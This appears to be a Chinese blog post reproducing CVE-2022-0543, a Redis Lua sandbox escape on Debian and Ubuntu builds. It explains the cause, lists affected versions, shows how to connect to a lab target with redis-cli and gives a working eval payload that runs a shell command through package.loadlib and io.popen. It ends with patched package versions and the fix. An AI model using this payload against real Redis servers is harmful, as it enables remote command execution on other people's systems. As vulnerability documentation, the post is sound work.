CVE-2022-0543 Redis Lua沙盒绕过 命令执行

漏洞简介

redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。造成redis沙盒逃逸漏洞的原因主要是由于redis lua,redis嵌入了lua编程语言作为其脚本引擎,可通过eval命令使用lua,lua引擎是沙盒化的,不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上,由于打包问题,在lua沙箱中遗留了一个对象package,攻击者可以利用这个对象package逃逸redis lua沙盒,在运行redis的服务器上执行任意命令。

漏洞影响版本

● 2.2 <= redis < 5.0.13
● 2.2 <= redis < 6.0.15
● 2.2 <= redis < 6.2.5

漏洞复现

第一步:

访问靶机IP
在这里插入图片描述

在这里插入图片描述

第二步:

进入攻击机,连接目标靶机redis数据库
kali安装流程:
● wget http://download.redis.io/redis-stable.tar.gz (下载redis-stable.tar.gz)
在这里插入图片描述

● tar -zxf redis-stable.tar.gz (解压tar -zxf redis-stable.tar.gz)
在这里插入图片描述

● cd redis-stable (进入到 redis-stable 目录)
在这里插入图片描述

● make (编译)
在这里插入图片描述

● 编译完成之后,再将 src 目录下的 redis-cli 拷贝到 /usr/bin/ 目录下一份,这样就可直接使用 redis-cli 了
在这里插入图片描述

连接目标主机:

redis-cli -h 123.58.224.8 -p 64939

在这里插入图片描述

第三步:

在redis cmd执行以下语句,即可在安装redis的服务器上执行whoami命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

在这里插入图片描述

漏洞修复

将redis软件包升级更新到以下版本
Debian:
● Debian Redis(buster):5:5.0.14-1+deb10u2
● Debian Redis(bullseye):5:6.0.16-1+deb11u2
● Debian Redis(unstable):5:6.0.16-2

Ubuntu:
● Ubuntu 21.10 Redis:5:6.0.15-1ubuntu0.1
● Ubuntu 20.04 Redis:5:5.0.7-2ubuntu0.1
修复方法:在 Lua 初始化的末尾添加package=nil

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值